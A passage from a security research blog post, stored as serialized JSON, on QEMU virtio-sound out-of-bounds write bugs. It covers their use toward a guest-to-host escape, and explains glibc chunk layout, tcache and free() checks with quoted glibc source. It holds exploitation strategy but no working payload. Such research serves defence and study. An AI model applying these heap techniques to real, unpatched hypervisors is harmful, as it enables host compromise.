le":235},[2413],{"type":29,"value":495},{"type":24,"tag":147,"props":2415,"children":2416},{"style":247},[2417],{"type":29,"value":1786},{"type":24,"tag":147,"props":2419,"children":2420},{"style":235},[2421],{"type":29,"value":1473},{"type":24,"tag":147,"props":2423,"children":2424},{"class":149,"line":358},[2425,2429,2433,2438,2442,2446,2450,2454,2458,2462],{"type":24,"tag":147,"props":2426,"children":2427},{"style":247},[2428],{"type":29,"value":2340},{"type":24,"tag":147,"props":2430,"children":2431},{"style":235},[2432],{"type":29,"value":495},{"type":24,"tag":147,"props":2434,"children":2435},{"style":247},[2436],{"type":29,"value":2437},"features",{"type":24,"tag":147,"props":2439,"children":2440},{"style":241},[2441],{"type":29,"value":651},{"type":24,"tag":147,"props":2443,"children":2444},{"style":229},[2445],{"type":29,"value":2358},{"type":24,"tag":147,"props":2447,"children":2448},{"style":235},[2449],{"type":29,"value":480},{"type":24,"tag":147,"props":2451,"children":2452},{"style":247},[2453],{"type":29,"value":1777},{"type":24,"tag":147,"props":2455,"children":2456},{"style":235},[2457],{"type":29,"value":495},{"type":24,"tag":147,"props":2459,"children":2460},{"style":247},[2461],{"type":29,"value":2437},{"type":24,"tag":147,"props":2463,"children":2464},{"style":235},[2465],{"type":29,"value":1473},{"type":24,"tag":147,"props":2467,"children":2468},{"class":149,"line":397},[2469],{"type":24,"tag":147,"props":2470,"children":2471},{"style":154},[2472],{"type":29,"value":2473},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":147,"props":2475,"children":2476},{"class":149,"line":421},[2477,2481,2485,2490,2494,2499,2503,2507],{"type":24,"tag":147,"props":2478,"children":2479},{"style":247},[2480],{"type":29,"value":2340},{"type":24,"tag":147,"props":2482,"children":2483},{"style":235},[2484],{"type":29,"value":495},{"type":24,"tag":147,"props":2486,"children":2487},{"style":247},[2488],{"type":29,"value":2489},"channels",{"type":24,"tag":147,"props":2491,"children":2492},{"style":241},[2493],{"type":29,"value":651},{"type":24,"tag":147,"props":2495,"children":2496},{"style":247},[2497],{"type":29,"value":2498}," params",{"type":24,"tag":147,"props":2500,"children":2501},{"style":235},[2502],{"type":29,"value":495},{"type":24,"tag":147,"props":2504,"children":2505},{"style":247},[2506],{"type":29,"value":2489},{"type":24,"tag":147,"props":2508,"children":2509},{"style":235},[2510],{"type":29,"value":432},{"type":24,"tag":147,"props":2512,"children":2513},{"class":149,"line":435},[2514,2518,2522,2527,2531,2535,2539,2543],{"type":24,"tag":147,"props":2515,"children":2516},{"style":247},[2517],{"type":29,"value":2340},{"type":24,"tag":147,"props":2519,"children":2520},{"style":235},[2521],{"type":29,"value":495},{"type":24,"tag":147,"props":2523,"children":2524},{"style":247},[2525],{"type":29,"value":2526},"format",{"type":24,"tag":147,"props":2528,"children":2529},{"style":241},[2530],{"type":29,"value":651},{"type":24,"tag":147,"props":2532,"children":2533},{"style":247},[2534],{"type":29,"value":2498},{"type":24,"tag":147,"props":2536,"children":2537},{"style":235},[2538],{"type":29,"value":495},{"type":24,"tag":147,"props":2540,"children":2541},{"style":247},[2542],{"type":29,"value":2526},{"type":24,"tag":147,"props":2544,"children":2545},{"style":235},[2546],{"type":29,"value":432},{"type":24,"tag":147,"props":2548,"children":2549},{"class":149,"line":444},[2550,2554,2558,2563,2567,2571,2575,2579],{"type":24,"tag":147,"props":2551,"children":2552},{"style":247},[2553],{"type":29,"value":2340},{"type":24,"tag":147,"props":2555,"children":2556},{"style":235},[2557],{"type":29,"value":495},{"type":24,"tag":147,"props":2559,"children":2560},{"style":247},[2561],{"type":29,"value":2562},"rate",{"type":24,"tag":147,"props":2564,"children":2565},{"style":241},[2566],{"type":29,"value":651},{"type":24,"tag":147,"props":2568,"children":2569},{"style":247},[2570],{"type":29,"value":2498},{"type":24,"tag":147,"props":2572,"children":2573},{"style":235},[2574],{"type":29,"value":495},{"type":24,"tag":147,"props":2576,"children":2577},{"style":247},[2578],{"type":29,"value":2562},{"type":24,"tag":147,"props":2580,"children":2581},{"style":235},[2582],{"type":29,"value":432},{"type":24,"tag":147,"props":2584,"children":2585},{"class":149,"line":452},[2586],{"type":24,"tag":147,"props":2587,"children":2588},{"emptyLinePlaceholder":16},[2589],{"type":29,"value":314},{"type":24,"tag":147,"props":2591,"children":2592},{"class":149,"line":461},[2593,2598,2603],{"type":24,"tag":147,"props":2594,"children":2595},{"style":321},[2596],{"type":29,"value":2597},"    return",{"type":24,"tag":147,"props":2599,"children":2600},{"style":229},[2601],{"type":29,"value":2602}," cpu_to_le32",{"type":24,"tag":147,"props":2604,"children":2605},{"style":235},[2606],{"type":29,"value":2607},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":147,"props":2609,"children":2610},{"class":149,"line":469},[2611],{"type":24,"tag":147,"props":2612,"children":2613},{"style":235},[2614],{"type":29,"value":827},{"type":24,"tag":25,"props":2616,"children":2617},{},[2618,2620,2626,2628,2634,2636,2642,2644,2649,2651,2657,2658,2663],{"type":29,"value":2619},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":80,"props":2621,"children":2623},{"className":2622},[],[2624],{"type":29,"value":2625},"u8",{"type":29,"value":2627},") and signed (",{"type":24,"tag":80,"props":2629,"children":2631},{"className":2630},[],[2632],{"type":29,"value":2633},"s8",{"type":29,"value":2635},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":80,"props":2637,"children":2639},{"className":2638},[],[2640],{"type":29,"value":2641},"0x80",{"type":29,"value":2643}," in ",{"type":24,"tag":80,"props":2645,"children":2647},{"className":2646},[],[2648],{"type":29,"value":2625},{"type":29,"value":2650},", but ",{"type":24,"tag":80,"props":2652,"children":2654},{"className":2653},[],[2655],{"type":29,"value":2656},"0x00",{"type":29,"value":2643},{"type":24,"tag":80,"props":2659,"children":2661},{"className":2660},[],[2662],{"type":29,"value":2633},{"type":29,"value":87},{"type":24,"tag":2665,"props":2666,"children":2667},"hr",{},[],{"type":24,"tag":25,"props":2669,"children":2670},{},[2671],{"type":29,"value":2672},"To summarize:",{"type":24,"tag":2674,"props":2675,"children":2676},"ol",{},[2677,2697,2715],{"type":24,"tag":2678,"props":2679,"children":2680},"li",{},[2681,2683,2688,2690,2695],{"type":29,"value":2682},"an integer underflow in the ",{"type":24,"tag":80,"props":2684,"children":2686},{"className":2685},[],[2687],{"type":29,"value":698},{"type":29,"value":2689}," calculation in ",{"type":24,"tag":80,"props":2691,"children":2693},{"className":2692},[],[2694],{"type":29,"value":133},{"type":29,"value":2696},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":2678,"props":2698,"children":2699},{},[2700,2702,2707,2708,2713],{"type":29,"value":2701},"a mismatch in the ",{"type":24,"tag":80,"props":2703,"children":2705},{"className":2704},[],[2706],{"type":29,"value":1976},{"type":29,"value":2689},{"type":24,"tag":80,"props":2709,"children":2711},{"className":2710},[],[2712],{"type":29,"value":2074},{"type":29,"value":2714},", leading to at most 8-byte OOB write",{"type":24,"tag":2678,"props":2716,"children":2717},{},[2718,2720,2725,2727,2732,2734,2739],{"type":29,"value":2719},"a missing bound in the ",{"type":24,"tag":80,"props":2721,"children":2723},{"className":2722},[],[2724],{"type":29,"value":698},{"type":29,"value":2726}," passed to ",{"type":24,"tag":80,"props":2728,"children":2730},{"className":2729},[],[2731],{"type":29,"value":2094},{"type":29,"value":2733},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":80,"props":2735,"children":2737},{"className":2736},[],[2738],{"type":29,"value":2117},{"type":29,"value":2740}," bytes",{"type":24,"tag":25,"props":2742,"children":2743},{},[2744,2746,2751,2753,2758,2760,2766],{"type":29,"value":2745},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":80,"props":2747,"children":2749},{"className":2748},[],[2750],{"type":29,"value":2117},{"type":29,"value":2752},", but in our setup with the ALSA backend, ",{"type":24,"tag":80,"props":2754,"children":2756},{"className":2755},[],[2757],{"type":29,"value":2117},{"type":29,"value":2759}," was consistently around ",{"type":24,"tag":80,"props":2761,"children":2763},{"className":2762},[],[2764],{"type":29,"value":2765},"4096",{"type":29,"value":87},{"type":24,"tag":25,"props":2768,"children":2769},{},[2770,2772,2781,2782,2789],{"type":29,"value":2771},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":2773,"props":2774,"children":2778},"a",{"href":2775,"rel":2776},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[2777],"nofollow",[2779],{"type":29,"value":2780},"commit 1",{"type":29,"value":546},{"type":24,"tag":2773,"props":2783,"children":2786},{"href":2784,"rel":2785},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[2777],[2787],{"type":29,"value":2788},"commit 2",{"type":29,"value":2790},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":32,"props":2792,"children":2794},{"id":2793},"exploit",[2795],{"type":29,"value":2796},"Exploit",{"type":24,"tag":25,"props":2798,"children":2799},{},[2800],{"type":29,"value":2801},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":2803,"children":2804},{},[2805],{"type":29,"value":2806},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":43,"props":2808,"children":2810},{"id":2809},"achieving-a-better-primitive",[2811],{"type":29,"value":2812},"Achieving a Better Primitive",{"type":24,"tag":25,"props":2814,"children":2815},{},[2816],{"type":29,"value":2817},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":2819,"children":2820},{},[2821],{"type":29,"value":2822},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":2824,"children":2825},{},[2826],{"type":29,"value":2827},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":112,"props":2829,"children":2831},{"id":2830},"glibc-allocator",[2832],{"type":29,"value":2833},"Glibc Allocator",{"type":24,"tag":25,"props":2835,"children":2836},{},[2837,2839,2846],{"type":29,"value":2838},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":2773,"props":2840,"children":2843},{"href":2841,"rel":2842},"https://github.com/shellphish/how2heap",[2777],[2844],{"type":29,"value":2845},"how2heap",{"type":29,"value":87},{"type":24,"tag":2848,"props":2849,"children":2851},"h5",{"id":2850},"chunk-layout-and-bins",[2852],{"type":29,"value":2853},"Chunk Layout and Bins",{"type":24,"tag":25,"props":2855,"children":2856},{},[2857],{"type":29,"value":2858},"A chunk looks like this:",{"type":24,"tag":137,"props":2860,"children":2862},{"code":2861},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[2863],{"type":24,"tag":80,"props":2864,"children":2865},{"__ignoreMap":7},[2866],{"type":29,"value":2861},{"type":24,"tag":25,"props":2868,"children":2869},{},[2870,2872,2878,2880,2886,2888,2893,2894,2900,2902,2907,2909,2914,2916,2922,2923,2929,2931,2937],{"type":29,"value":2871},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":80,"props":2873,"children":2875},{"className":2874},[],[2876],{"type":29,"value":2877},"prev_size",{"type":29,"value":2879}," field at offset ",{"type":24,"tag":80,"props":2881,"children":2883},{"className":2882},[],[2884],{"type":29,"value":2885},"0x0",{"type":29,"value":2887}," and the ",{"type":24,"tag":80,"props":2889,"children":2891},{"className":2890},[],[2892],{"type":29,"value":698},{"type":29,"value":2879},{"type":24,"tag":80,"props":2895,"children":2897},{"className":2896},[],[2898],{"type":29,"value":2899},"0x8",{"type":29,"value":2901},". As the name suggests, ",{"type":24,"tag":80,"props":2903,"children":2905},{"className":2904},[],[2906],{"type":29,"value":2877},{"type":29,"value":2908}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":80,"props":2910,"children":2912},{"className":2911},[],[2913],{"type":29,"value":698},{"type":29,"value":2915}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":80,"props":2917,"children":2919},{"className":2918},[],[2920],{"type":29,"value":2921},"PREV_INUSE",{"type":29,"value":855},{"type":24,"tag":80,"props":2924,"children":2926},{"className":2925},[],[2927],{"type":29,"value":2928},"IS_MMAPPED",{"type":29,"value":2930}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":80,"props":2932,"children":2934},{"className":2933},[],[2935],{"type":29,"value":2936},"0x10",{"type":29,"value":87},{"type":24,"tag":25,"props":2939,"children":2940},{},[2941],{"type":29,"value":2942},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":2848,"props":2944,"children":2946},{"id":2945},"free-path",[2947],{"type":29,"value":2948},"free() path",{"type":24,"tag":25,"props":2950,"children":2951},{},[2952,2954,2960],{"type":29,"value":2953},"Let’s first look at the ",{"type":24,"tag":80,"props":2955,"children":2957},{"className":2956},[],[2958],{"type":29,"value":2959},"free()",{"type":29,"value":2961}," path in glibc 2.40:",{"type":24,"tag":137,"props":2963,"children":2965},{"code":2964,"language":140,"meta":7,"className":141,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[2966],{"type":24,"tag":80,"props":2967,"children":2968},{"__ignoreMap":7},[2969,2998,3005,3013,3021,3028,3050,3072,3080,3093,3100,3108,3115,3128,3135,3156,3178,3185],{"type":24,"tag":147,"props":2970,"children":2971},{"class":149,"line":150},[2972,2977,2981,2985,2989,2994],{"type":24,"tag":147,"props":2973,"children":2974},{"style":229},[2975],{"type":29,"value":2976},"__libc_free",{"type":24,"tag":147,"props":2978,"children":2979},{"style":235},[2980],{"type":29,"value":408},{"type":24,"tag":147,"props":2982,"children":2983},{"style":218},[2984],{"type":29,"value":1258},{"type":24,"tag":147,"props":2986,"children":2987},{"style":241},[2988],{"type":29,"value":1263},{"type":24,"tag":147,"props":2990,"children":2991},{"style":247},[2992],{"type":29,"value":2993},"mem",{"type":24,"tag":147,"props":2995,"children":2996},{"style":235},[2997],{"type":29,"value":269},{"type":24,"tag":147,"props":2999,"children":3000},{"class":149,"line":160},[3001],{"type":24,"tag":147,"props":3002,"children":3003},{"style":235},[3004],{"type":29,"value":278},{"type":24,"tag":147,"props":3006,"children":3007},{"class":149,"line":169},[3008],{"type":24,"tag":147,"props":3009,"children":3010},{"style":235},[3011],{"type":29,"value":3012},"  mstate ar_ptr;\n",{"type":24,"tag":147,"props":3014,"children":3015},{"class":149,"line":178},[3016],{"type":24,"tag":147,"props":3017,"children":3018},{"style":235},[3019],{"type":29,"value":3020},"  mchunkptr p;\n",{"type":24,"tag":147,"props":3022,"children":3023},{"class":149,"line":187},[3024],{"type":24,"tag":147,"props":3025,"children":3026},{"emptyLinePlaceholder":16},[3027],{"type":29,"value":314},{"type":24,"tag":147,"props":3029,"children":3030},{"class":149,"line":196},[3031,3036,3040,3045],{"type":24,"tag":147,"props":3032,"children":3033},{"style":235},[3034],{"type":29,"value":3035},"  p ",{"type":24,"tag":147,"props":3037,"children":3038},{"style":241},[3039],{"type":29,"value":369},{"type":24,"tag":147,"props":3041,"children":3042},{"style":229},[3043],{"type":29,"value":3044}," mem2chunk",{"type":24,"tag":147,"props":3046,"children":3047},{"style":235},[3048],{"type":29,"value":3049}," (mem);\n",{"type":24,"tag":147,"props":3051,"children":3052},{"class":149,"line":205},[3053,3058,3062,3067],{"type":24,"tag":147,"props":3054,"children":3055},{"style":321},[3056],{"type":29,"value":3057},"  if",{"type":24,"tag":147,"props":3059,"children":3060},{"style":235},[3061],{"type":29,"value":408},{"type":24,"tag":147,"props":3063,"children":3064},{"style":229},[3065],{"type":29,"value":3066},"chunk_is_mmapped",{"type":24,"tag":147,"props":3068,"children":3069},{"style":235},[3070],{"type":29,"value":3071}," (p))\n",{"type":24,"tag":147,"props":3073,"children":3074},{"class":149,"line":214},[3075],{"type":24,"tag":147,"props":3076,"children":3077},{"style":235},[3078],{"type":29,"value":3079},"    {\n",{"type":24,"tag":147,"props":3081,"children":3082},{"class":149,"line":272},[3083,3088],{"type":24,"tag":147,"props":3084,"children":3085},{"style":229},[3086],{"type":29,"value":3087},"      munmap_chunk",{"type":24,"tag":147,"props":3089,"children":3090},{"style":235},[3091],{"type":29,"value":3092}," (p);\n",{"type":24,"tag":147,"props":3094,"children":3095},{"class":149,"line":281},[3096],{"type":24,"tag":147,"props":3097,"children":3098},{"style":235},[3099],{"type":29,"value":1952},{"type":24,"tag":147,"props":3101,"children":3102},{"class":149,"line":299},[3103],{"type":24,"tag":147,"props":3104,"children":3105},{"style":321},[3106],{"type":29,"value":3107},"  else\n",{"type":24,"tag":147,"props":3109,"children":3110},{"class":149,"line":308},[3111],{"type":24,"tag":147,"props":3112,"children":3113},{"style":235},[3114],{"type":29,"value":3079},{"type":24,"tag":147,"props":3116,"children":3117},{"class":149,"line":317},[3118,3123],{"type":24,"tag":147,"props":3119,"children":3120},{"style":229},[3121],{"type":29,"value":3122},"      MAYBE_INIT_TCACHE",{"type":24,"tag":147,"props":3124,"children":3125},{"style":235},[3126],{"type":29,"value":3127}," ();\n",{"type":24,"tag":147,"props":3129,"children":3130},{"class":149,"line":332},[3131],{"type":24,"tag":147,"props":3132,"children":3133},{"emptyLinePlaceholder":16},[3134],{"type":29,"value":314},{"type":24,"tag":147,"props":3136,"children":3137},{"class":149,"line":350},[3138,3143,3147,3152],{"type":24,"tag":147,"props":3139,"children":3140},{"style":235},[3141],{"type":29,"value":3142},"      ar_ptr ",{"type":24,"tag":147,"props":3144,"children":3145},{"style":241},[3146],{"type":29,"value":369},{"type":24,"tag":147,"props":3148,"children":3149},{"style":229},[3150],{"type":29,"value":3151}," arena_for_chunk",{"type":24,"tag":147,"props":3153,"children":3154},{"style":235},[3155],{"type":29,"value":3092},{"type":24,"tag":147,"props":3157,"children":3158},{"class":149,"line":358},[3159,3164,3169,3174],{"type":24,"tag":147,"props":3160,"children":3161},{"style":229},[3162],{"type":29,"value":3163},"      _int_free",{"type":24,"tag":147,"props":3165,"children":3166},{"style":235},[3167],{"type":29,"value":3168}," (ar_ptr, p, ",{"type":24,"tag":147,"props":3170,"children":3171},{"style":705},[3172],{"type":29,"value":3173},"0",{"type":24,"tag":147,"props":3175,"children":3176},{"style":235},[3177],{"type":29,"value":1473},{"type":24,"tag":147,"props":3179,"children":3180},{"class":149,"line":397},[3181],{"type":24,"tag":147,"props":3182,"children":3183},{"style":235},[3184],{"type":29,"value":1952},{"type":24,"tag":147,"props":3186,"children":3187},{"class":149,"line":421},[3188],{"type":24,"tag":147,"props":3189,"children":3190},{"style":235},[3191],{"type":29,"value":827},{"type":24,"tag":25,"props":3193,"children":3194},{},[3195,3197,3202,3204,3209,3211,3217,3219,3225,3227,3232,3234,3239,3241,3246,3248,3253],{"type":29,"value":3196},"We can see that if the ",{"type":24,"tag":80,"props":3198,"children":3200},{"className":3199},[],[3201],{"type":29,"value":2928},{"type":29,"value":3203}," bit is set in the corrupted ",{"type":24,"tag":80,"props":3205,"children":3207},{"className":3206},[],[3208],{"type":29,"value":698},{"type":29,"value":3210}," field, glibc will call ",{"type":24,"tag":80,"props":3212,"children":3214},{"className":3213},[],[3215],{"type":29,"value":3216},"munmap_chunk",{"type":29,"value":3218},", which internally checks that ",{"type":24,"tag":80,"props":3220,"children":3222},{"className":3221},[],[3223],{"type":29,"value":3224},"prev_size + size",{"type":29,"value":3226}," is page-aligned. To reach the ",{"type":24,"tag":80,"props":3228,"children":3230},{"className":3229},[],[3231],{"type":29,"value":698},{"type":29,"value":3233}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":80,"props":3235,"children":3237},{"className":3236},[],[3238],{"type":29,"value":2877},{"type":29,"value":3240}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":80,"props":3242,"children":3244},{"className":3243},[],[3245],{"type":29,"value":3224},{"type":29,"value":3247}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":80,"props":3249,"children":3251},{"className":3250},[],[3252],{"type":29,"value":2928},{"type":29,"value":3254}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":3256,"children":3257},{},[3258,3260,3265,3267,3273],{"type":29,"value":3259},"Assuming ",{"type":24,"tag":80,"props":3261,"children":3263},{"className":3262},[],[3264],{"type":29,"value":2928},{"type":29,"value":3266}," is not set, execution continues into ",{"type":24,"tag":80,"props":3268,"children":3270},{"className":3269},[],[3271],{"type":29,"value":3272},"_int_free",{"type":29,"value":978},{"type":24,"tag":137,"props":3275,"children":3277},{"code":3276,"language":140,"meta":7,"className":141,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[3278],{"type":24,"tag":80,"props":3279,"children":3280},{"__ignoreMap":7},[3281,3293,3336,3343,3351,3358,3379,3386,3394,3402,3410,3418,3484,3520,3542,3550,3558,3609,3629,3636,3649,3656],{"type":24,"tag":147,"props":3282,"children":3283},{"class":149,"line":150},[3284,3288],{"type":24,"tag":147,"props":3285,"children":3286},{"style":218},[3287],{"type":29,"value":221},{"type":24,"tag":147,"props":3289,"children":3290},{"style":218},[3291],{"type":29,"value":3292}," void\n",{"type":24,"tag":147,"props":3294,"children":3295},{"class":149,"line":160},[3296,3300,3305,3310,3315,3319,3323,3327,3332],{"type":24,"tag":147,"props":3297,"children":3298},{"style":229},[3299],{"type":29,"value":3272},{"type":24,"tag":147,"props":3301,"children":3302},{"style":235},[3303],{"type":29,"value":3304}," (mstate ",{"type":24,"tag":147,"props":3306,"children":3307},{"style":247},[3308],{"type":29,"value":3309},"av",{"type":24,"tag":147,"props":3311,"children":3312},{"style":235},[3313],{"type":29,"value":3314},", mchunkptr ",{"type":24,"tag":147,"props":3316,"children":3317},{"style":247},[3318],{"type":29,"value":25},{"type":24,"tag":147,"props":3320,"children":3321},{"style":235},[3322],{"type":29,"value":546},{"type":24,"tag":147,"props":3324,"children":3325},{"style":218},[3326],{"type":29,"value":1276},{"type":24,"tag":147,"props":3328,"children":3329},{"style":247},[3330],{"type":29,"value":3331}," have_lock",{"type":24,"tag":147,"props":3333,"children":3334},{"style":235},[3335],{"type":29,"value":269},{"type":24,"tag":147,"props":3337,"children":3338},{"class":149,"line":169},[3339],{"type":24,"tag":147,"props":3340,"children":3341},{"style":235},[3342],{"type":29,"value":278},{"type":24,"tag":147,"props":3344,"children":3345},{"class":149,"line":178},[3346],{"type":24,"tag":147,"props":3347,"children":3348},{"style":235},[3349],{"type":29,"value":3350},"  INTERNAL_SIZE_T size;\n",{"type":24,"tag":147,"props":3352,"children":3353},{"class":149,"line":187},[3354],{"type":24,"tag":147,"props":3355,"children":3356},{"emptyLinePlaceholder":16},[3357],{"type":29,"value":314},{"type":24,"tag":147,"props":3359,"children":3360},{"class":149,"line":196},[3361,3366,3370,3375],{"type":24,"tag":147,"props":3362,"children":3363},{"style":235},[3364],{"type":29,"value":3365},"  size ",{"type":24,"tag":147,"props":3367,"children":3368},{"style":241},[3369],{"type":29,"value":369},{"type":24,"tag":147,"props":3371,"children":3372},{"style":229},[3373],{"type":29,"value":3374}," chunksize",{"type":24,"tag":147,"props":3376,"children":3377},{"style":235},[3378],{"type":29,"value":3092},{"type":24,"tag":147,"props":3380,"children":3381},{"class":149,"line":205},[3382],{"type":24,"tag":147,"props":3383,"children":3384},{"emptyLinePlaceholder":16},[3385],{"type":29,"value":314},{"type":24,"tag":147,"props":3387,"children":3388},{"class":149,"line":214},[3389],{"type":24,"tag":147,"props":3390,"children":3391},{"style":154},[3392],{"type":29,"value":3393},"  /* Little security check which won't hurt performance: the\n",{"type":24,"tag":147,"props":3395,"children":3396},{"class":149,"line":272},[3397],{"type":24,"tag":147,"props":3398,"children":3399},{"style":154},[3400],{"type":29,"value":3401},"     allocator never wraps around at the end of the address space.\n",{"type":24,"tag":147,"props":3403,"children":3404},{"class":149,"line":281},[3405],{"type":24,"tag":147,"props":3406,"children":3407},{"style":154},[3408],{"type":29,"value":3409},"     Therefore we can exclude some size values which might appear\n",{"type":24,"tag":147,"props":3411,"children":3412},{"class":149,"line":299},[3413],{"type":24,"tag":147,"props":3414,"children":3415},{"style":154},[3416],{"type":29,"value":3417},"     here by accident or by \"design\" from some intruder.  */\n",{"type":24,"tag":147,"props":3419,"children":3420},{"class":149,"line":308},[3421,3425,3429,3434,3439,3444,3449,3454,3458,3462,3466,3471,3476,3480],{"type":24,"tag":147,"props":3422,"children":3423},{"style":321},[3424],{"type":29,"value":3057},{"type":24,"tag":147,"props":3426,"children":3427},{"style":235},[3428],{"type":29,"value":408},{"type":24,"tag":147,"props":3430,"children":3431},{"style":229},[3432],{"type":29,"value":3433},"__builtin_expect",{"type":24,"tag":147,"props":3435,"children":3436},{"style":235},[3437],{"type":29,"value":3438}," ((",{"type":24,"tag":147,"props":3440,"children":3441},{"style":218},[3442],{"type":29,"value":3443},"uintptr_t",{"type":24,"tag":147,"props":3445,"children":3446},{"style":235},[3447],{"type":29,"value":3448},") p ",{"type":24,"tag":147,"props":3450,"children":3451},{"style":241},[3452],{"type":29,"value":3453},">",{"type":24,"tag":147,"props":3455,"children":3456},{"style":235},[3457],{"type":29,"value":408},{"type":24,"tag":147,"props":3459,"children":3460},{"style":218},[3461],{"type":29,"value":3443},{"type":24,"tag":147,"props":3463,"children":3464},{"style":235},[3465],{"type":29,"value":564},{"type":24,"tag":147,"props":3467,"children":3468},{"style":241},[3469],{"type":29,"value":3470},"-",{"type":24,"tag":147,"props":3472,"children":3473},{"style":235},[3474],{"type":29,"value":3475},"size, ",{"type":24,"tag":147,"props":3477,"children":3478},{"style":705},[3479],{"type":29,"value":3173},{"type":24,"tag":147,"props":3481,"children":3482},{"style":235},[3483],{"type":29,"value":269},{"type":24,"tag":147,"props":3485,"children":3486},{"class":149,"line":317},[3487,3492,3497,3501,3506,3511,3515],{"type":24,"tag":147,"props":3488,"children":3489},{"style":241},[3490],{"type":29,"value":3491},"      ||",{"type":24,"tag":147,"props":3493,"children":3494},{"style":229},[3495],{"type":29,"value":3496}," __builtin_expect",{"type":24,"tag":147,"props":3498,"children":3499},{"style":235},[3500],{"type":29,"value":408},{"type":24,"tag":147,"props":3502,"children":3503},{"style":229},[3504],{"type":29,"value":3505},"misaligned_chunk",{"type":24,"tag":147,"props":3507,"children":3508},{"style":235},[3509],{"type":29,"value":3510}," (p), ",{"type":24,"tag":147,"props":3512,"children":3513},{"style":705},[3514],{"type":29,"value":3173},{"type":24,"tag":147,"props":3516,"children":3517},{"style":235},[3518],{"type":29,"value":3519},"))\n",{"type":24,"tag":147,"props":3521,"children":3522},{"class":149,"line":332},[3523,3528,3532,3538],{"type":24,"tag":147,"props":3524,"children":3525},{"style":229},[3526],{"type":29,"value":3527},"    malloc_printerr",{"type":24,"tag":147,"props":3529,"children":3530},{"style":235},[3531],{"type":29,"value":408},{"type":24,"tag":147,"props":3533,"children":3535},{"style":3534},"--shiki-default:#CE9178",[3536],{"type":29,"value":3537},"\"free(): invalid pointer\"",{"type":24,"tag":147,"props":3539,"children":3540},{"style":235},[3541],{"type":29,"value":1473},{"type":24,"tag":147,"props":3543,"children":3544},{"class":149,"line":350},[3545],{"type":24,"tag":147,"props":3546,"children":3547},{"style":154},[3548],{"type":29,"value":3549},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":147,"props":3551,"children":3552},{"class":149,"line":358},[3553],{"type":24,"tag":147,"props":3554,"children":3555},{"style":154},[3556],{"type":29,"value":3557},"     multiple of MALLOC_ALIGNMENT.  